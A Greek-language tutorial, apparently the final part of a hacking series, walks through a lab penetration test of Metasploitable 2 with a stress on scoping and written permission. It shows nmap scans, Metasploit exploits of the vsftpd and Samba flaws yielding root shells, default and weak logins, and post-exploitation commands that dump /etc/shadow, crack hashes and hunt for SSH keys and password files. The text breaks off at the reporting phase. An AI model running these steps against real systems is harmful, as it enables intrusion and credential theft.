Το Μονοπάτι του Χάκερ: Σειρά 5 Μερών

Μέρος 1: Εισαγωγή → Μέρος 2: Εξειδίκευση Flipper → Μέρος 3: Βασικά Kali → Μέρος 4: Εκμετάλλευση → Μέρος 5: Ο Πλήρης Έλεγχος

Ξεκινήσατε αυτή τη σειρά αναρωτώμενοι τι κάνουν πραγματικά οι χάκερ. Μάθατε ότι δεν πρόκειται για κουκούλες και πράσινο κείμενο. Είναι μεθοδική επίλυση προβλημάτων. Κλωνοποιήσατε κάρτες, χαρτογραφήσατε δίκτυα, συλλάβατε handshakes και αποκτήσατε shells σε ευάλωτα μηχανήματα.

Τώρα τα ενώνουμε όλα. Αυτό το άρθρο σας καθοδηγεί σε μια πλήρη δοκιμή διείσδυσης εναντίον ενός φανταστικού στόχου. Κάθε φάση, κάθε απόφαση, κάθε εύρημα, τεκμηριωμένο ακριβώς όπως θα το έκανε ένας επαγγελματίας.

Το Σενάριο

Πελάτης: Initech Labs (μια φανταστική μικρή εταιρεία τεχνολογίας)

Πεδίο: Δοκιμή διείσδυσης εσωτερικού δικτύου

Στόχος: Εντοπισμός ευπαθειών και επίδειξη πιθανού επιχειρηματικού αντίκτυπου

Ο στόχος σας: Το δικό σας δίκτυο εργαστηρίου (Kali + Metasploitable 2 + οποιαδήποτε άλλη VM έχετε ρυθμίσει)

Πάρτε έναν καφέ. Θα είναι διασκεδαστικό.

Φάση 1: Προ-Δέσμευση

Πριν αγγίξετε πληκτρολόγιο, οι επαγγελματίες pentesters αντιμετωπίζουν την επιχειρηματική πλευρά. Παρακάμψτε αυτό, και δεν είστε pentester. Είστε απλά κάποιος που διαπράττει εγκλήματα.

Η Κλήση Καθορισμού Πεδίου

Σε μια πραγματική δέσμευση, θα είχατε μια κλήση με τον πελάτη για να κατανοήσετε:

Τι είναι εντός πεδίου; Ποια δίκτυα, εύρη IP, εφαρμογές;
Τι είναι εκτός πεδίου; Συστήματα παραγωγής; Υπηρεσίες τρίτων;
Παράθυρο δοκιμών; Πότε μπορείτε να δοκιμάσετε; Μόνο εργάσιμες ώρες;
Σημεία επαφής; Ποιον καλείτε αν κάτι χαλάσει;
Στόχοι; Συμμόρφωση ή πραγματική βελτίωση ασφάλειας;

Για το Εργαστήριό σας

Πεδίο: Μόνο το απομονωμένο δίκτυο εργαστηρίου σας. Εκτός πεδίου: Όλα τα υπόλοιπα στον πλανήτη. Παράθυρο δοκιμών: Όποτε θέλετε. Στόχος: Μάθηση μέσω πράξης.

Κανόνες Δέσμευσης

Οι πραγματικές δεσμεύσεις έχουν γραπτούς κανόνες. Τι καλύπτουν συνήθως:

Επιστολή εξουσιοδότησης - Υπογεγραμμένο έγγραφο που αποδεικνύει ότι έχετε άδεια
Διαδικασίες κλιμάκωσης - Τι να κάνετε αν βρείτε κάτι κρίσιμο
Χειρισμός δεδομένων - Πώς να χειριστείτε ευαίσθητα δεδομένα που συναντάτε
Απαιτήσεις καθαρισμού - Αφαίρεση όλων των εργαλείων και backdoors μετά το τέλος
Χρονοδιάγραμμα αναφοράς - Πότε πρέπει η τελική αναφορά;

Πάντα Εξασφαλίστε Γραπτή Άδεια

Ακόμα και για "φιλικές" δοκιμές στο δίκτυο ενός φίλου. Ένα υπογεγραμμένο email που λέει "έχετε άδεια να δοκιμάσετε το δίκτυό μου από ΗΜΕΡΟΜΗΝΙΑ έως ΗΜΕΡΟΜΗΝΙΑ" θα μπορούσε να είναι η διαφορά μεταξύ μιας μαθησιακής εμπειρίας και μιας ποινικής καταδίκης. Πάρτε το σοβαρά.

Φάση 2: Αναγνώριση

Ώρα να μάθετε τα πάντα για τον στόχο. Σε μια πραγματική δέσμευση, αυτό θα περιλάμβανε OSINT: αναζητήσεις Google, προφίλ LinkedIn, ιστοσελίδες εταιρείας, εγγραφές DNS. Για το εργαστήριό μας, πηγαίνουμε κατευθείαν στην ενεργή αναγνώριση.

Βήμα 1: Ανακάλυψη Δικτύου

Πρώτη ερώτηση: Τι υπάρχει σε αυτό το δίκτυο;

bash

1# Βρείτε το εύρος δικτύου σας
2ip a | grep inet
3# Ψάξτε κάτι σαν: inet 192.168.56.100/24
4
5# Ανακαλύψτε όλους τους ενεργούς hosts
6sudo nmap -sn 192.168.56.0/24 -oA discovery
7
8# Αποτελέσματα (παράδειγμα):
9Nmap scan report for 192.168.56.1
10Host is up (0.00032s latency).
11Nmap scan report for 192.168.56.101
12Host is up (0.00089s latency).
13Nmap scan report for 192.168.56.102
14Host is up (0.00045s latency).

Τεκμηριώστε τα πάντα. Δημιουργήστε ένα σημείωμα:

text

1# Initech Labs - Ανακάλυψη Δικτύου
2# Ημερομηνία: 2026-03-08
3# Tester: Το Όνομά Σας
4
5192.168.56.1   - Gateway/Router
6192.168.56.101 - Άγνωστο (προς διερεύνηση)
7192.168.56.102 - Άγνωστο (προς διερεύνηση)

Βήμα 2: Σάρωση Θυρών

Τώρα σκάβουμε βαθύτερα. Ποιες υπηρεσίες τρέχουν;

bash

1# Πλήρης σάρωση θυρών με ανίχνευση υπηρεσιών
2sudo nmap -sV -sC -p- -oA full_scan 192.168.56.101
3
4# Αυτό παίρνει χρόνο. Για πιο γρήγορα αποτελέσματα κατά τη μάθηση:
5sudo nmap -sV -sC --top-ports 1000 -oA quick_scan 192.168.56.101

Στο Metasploitable 2, θα δείτε έναν θησαυρό:

text

1PORT     STATE SERVICE     VERSION
221/tcp   open  ftp         vsftpd 2.3.4
322/tcp   open  ssh         OpenSSH 4.7p1
423/tcp   open  telnet      Linux telnetd
525/tcp   open  smtp        Postfix smtpd
680/tcp   open  http        Apache httpd 2.2.8
7139/tcp  open  netbios-ssn Samba smbd 3.X
8445/tcp  open  netbios-ssn Samba smbd 3.X
93306/tcp open  mysql       MySQL 5.0.51a
105432/tcp open  postgresql  PostgreSQL DB
11...

Τι έκθεση. Ενημερώνουμε τις σημειώσεις μας:

text

1192.168.56.101 - Linux Server (Metasploitable)
2  - FTP (21): vsftpd 2.3.4       # Γνωστό backdoor!
3  - SSH (22): OpenSSH 4.7p1      # Αρχαίο
4  - Telnet (23): Ενεργό           # Γιατί υπάρχει αυτό το 2026;
5  - HTTP (80): Apache 2.2.8      # Web apps για δοκιμή
6  - SMB (139/445): Samba 3.X     # Πιθανό χρυσωρυχείο
7  - MySQL (3306): 5.0.51a        # Πρόσβαση βάσης δεδομένων;
8  - PostgreSQL (5432): Ενεργό    # Άλλη ΒΔ

Βήμα 3: Αναγνώριση Ευπαθειών

Ώρα να δούμε τι είναι πραγματικά εκμεταλλεύσιμο.

bash

1# Εκτέλεση scripts ευπαθειών
2sudo nmap --script vuln -oA vuln_scan 192.168.56.101
3
4# Έλεγχος συγκεκριμένων υπηρεσιών στο Metasploit
5msfconsole
6msf6 > search vsftpd
7msf6 > search samba 3
8msf6 > search apache 2.2

Το backdoor του vsftpd 2.3.4 ξεπηδά αμέσως. Είναι ένα εγγυημένο shell. Αλλά ένας καλός pentester δεν σταματά στο πρώτο εύρημα. Τεκμηριώνετε τα πάντα.

Αίθουσα εξυπηρετητών με εξοπλισμό δικτύου — Η ενδελεχής αναγνώριση χαρτογραφεί ολόκληρη την επιφάνεια επίθεσης πριν εκτελεστεί ένα μόνο exploit. Κάθε ανοιχτή θύρα και έκδοση υπηρεσίας γίνεται σημείο δεδομένων στην αξιολόγησή σας.

Φάση 3: Εκμετάλλευση

Εδώ τα πράγματα γίνονται συναρπαστικά. Έχουμε πολλαπλά πιθανά σημεία εισόδου. Ας τα επεξεργαστούμε συστηματικά.

Φορέας Επίθεσης 1: FTP Backdoor

bash

1msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
2msf6 exploit(...) > set RHOSTS 192.168.56.101
3msf6 exploit(...) > exploit
4
5[*] Banner: 220 (vsFTPd 2.3.4)
6[*] USER: 331 Please specify the password.
7[+] Backdoor service has been spawned
8[+] Command shell session 1 opened
9
10whoami
11root
12
13id
14uid=0(root) gid=0(root)

Τεκμηριωμένο εύρημα: Root shell αποκτήθηκε μέσω FTP backdoor. Χρόνος από την πρώτη σάρωση μέχρι πλήρη παραβίαση: περίπου 10 λεπτά.

Root shell αποκτήθηκε μέσω FTP backdoor. Χρόνος από την πρώτη σάρωση μέχρι πλήρη παραβίαση: περίπου 10 λεπτά.

Αλλά δεν σταματάμε εδώ. Τι άλλο μπορούμε να αποκτήσουμε;

Φορέας Επίθεσης 2: Samba

bash

1# Βάζουμε την τρέχουσα συνεδρία στο background
2background
3
4msf6 > use exploit/multi/samba/usermap_script
5msf6 exploit(...) > set RHOSTS 192.168.56.101
6msf6 exploit(...) > exploit
7
8[*] Command shell session 2 opened
9
10whoami
11root

Ένα ακόμη root shell μέσω διαφορετικού φορέα. Δύο ανεξάρτητα μονοπάτια προς πλήρη παραβίαση.

Φορέας Επίθεσης 3: Web Εφαρμογές

Ας δούμε τι τρέχει στη θύρα 80.

bash

1# Απαρίθμηση web καταλόγων
2gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt
3
4# Αποτελέσματα:
5/cgi-bin/     (Status: 403)
6/dav/         (Status: 301)
7/icons/       (Status: 301)
8/index        (Status: 200)
9/phpMyAdmin/  (Status: 301)
10/phpinfo      (Status: 200)
11/test/        (Status: 301)
12/twiki/       (Status: 301)
13
14# Εκτέλεση nikto για περισσότερα ευρήματα
15nikto -h http://192.168.56.101

phpMyAdmin με προεπιλεγμένα διαπιστευτήρια; Ας ελέγξουμε:

text

1# Δοκιμή κοινών διαπιστευτηρίων
2Username: root
3Password: (κενό)
4
5# Πρόσβαση εγκρίθηκε!

Πρόσβαση διαχειριστή βάσης δεδομένων χωρίς κωδικό. Από εδώ, θα μπορούσαμε να εξάγουμε όλα τα δεδομένα, να τροποποιήσουμε εγγραφές ή να χρησιμοποιήσουμε τις λειτουργίες αρχείων της MySQL για να γράψουμε ένα web shell.

Φορέας Επίθεσης 4: Αδύναμα SSH Διαπιστευτήρια

bash

1msf6 > use auxiliary/scanner/ssh/ssh_login
2msf6 auxiliary(...) > set RHOSTS 192.168.56.101
3msf6 auxiliary(...) > set USERNAME msfadmin
4msf6 auxiliary(...) > set PASSWORD msfadmin
5msf6 auxiliary(...) > run
6
7[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'

Τα αδύναμα διαπιστευτήρια παρέχουν πρόσβαση SSH. Όχι root, αλλά θα το αντιμετωπίσουμε στη μετα-εκμετάλλευση.

Φάση 4: Μετα-Εκμετάλλευση

Έχουμε πρόσβαση. Τώρα τι; Μια πραγματική δοκιμή διείσδυσης αποδεικνύει τον επιχειρηματικό αντίκτυπο. Τι μπορεί πραγματικά να κάνει ένας επιτιθέμενος με αυτή την πρόσβαση;

Συγκομιδή Διαπιστευτηρίων

bash

1# Από το root shell μας
2cat /etc/shadow
3root:$1$xyz...truncated...:14889:0:99999:7:::
4msfadmin:$1$abc...truncated...:14889:0:99999:7:::
5user:$1$def...truncated...:14889:0:99999:7:::
6postgres:$1$ghi...truncated...:14889:0:99999:7:::
7
8# Αποθήκευση για offline cracking
9cat /etc/passwd > /tmp/passwd.txt
10cat /etc/shadow > /tmp/shadow.txt
11
12# Στο Kali, cracking
13unshadow passwd.txt shadow.txt > combined.txt
14john --wordlist=/usr/share/wordlists/rockyou.txt combined.txt

Αναγνώριση Δικτύου (Από Μέσα)

bash

1# Σε ποια άλλα δίκτυα μπορεί να φτάσει αυτό το μηχάνημα;
2ifconfig
3route -n
4cat /etc/hosts
5arp -a
6
7# Τι συνδέεται σε αυτό το μηχάνημα;
8netstat -tulpn
9ss -tulpn
10
11# Αναζήτηση SSH κλειδιών (για lateral movement)
12find / -name "id_rsa" 2>/dev/null
13find / -name "authorized_keys" 2>/dev/null

Ανακάλυψη Ευαίσθητων Δεδομένων

bash

1# Αναζήτηση ενδιαφερόντων αρχείων
2find / -name "*.conf" 2>/dev/null | head -20
3find / -name "*.sql" 2>/dev/null
4find / -name "*.bak" 2>/dev/null
5find / -name "*password*" 2>/dev/null
6
7# Έλεγχος κοινών τοποθεσιών διαμόρφωσης
8cat /var/www/*/config.php 2>/dev/null
9cat /etc/mysql/my.cnf
10
11# Απαρίθμηση βάσης δεδομένων
12mysql -u root -p  # Δοκιμή κενού κωδικού
13mysql> SHOW DATABASES;
14mysql> SELECT * FROM mysql.user;

Κλιμάκωση Προνομίων (από msfadmin)

Θυμάστε εκείνη τη σύνδεση SSH ως msfadmin; Ας κλιμακώσουμε σε root χρησιμοποιώντας ό,τι μάθαμε στο Μέρος 4.

bash

1# SSH ως msfadmin
2ssh [email protected]
3
4# Έλεγχος δικαιωμάτων sudo
5sudo -l
6
7# Εύρεση SUID binaries
8find / -perm -4000 2>/dev/null
9
10# Αναζήτηση εγγράψιμων scripts που εκτελούνται από root
11cat /etc/crontab
12
13# Ανέβασμα και εκτέλεση LinPEAS
14# (Σε πραγματικό σενάριο, ήδη καλύφθηκε στο Μέρος 4)

Επαγγελματίας που εργάζεται σε γραφείο με εργαλεία κυβερνοασφάλειας — Η μετα-εκμετάλλευση αποδεικνύει τον πραγματικό επιχειρηματικό αντίκτυπο. Η διαφορά μεταξύ σάρωσης ευπαθειών και δοκιμής διείσδυσης είναι η απόδειξη του τι μπορεί πραγματικά να κάνει ένας επιτιθέμενος.

Φάση 5: Τεκμηρίωση και Ευρήματα

Η δοκιμή είναι άχρηστη χωρίς αναφορά. Αυτό ξεχωρίζει τους επαγγελματίες από τους script kiddies. Πρέπει να εξηγήσετε τι βρήκατε, γιατί έχει σημασία και πώς να το διορθώσετε.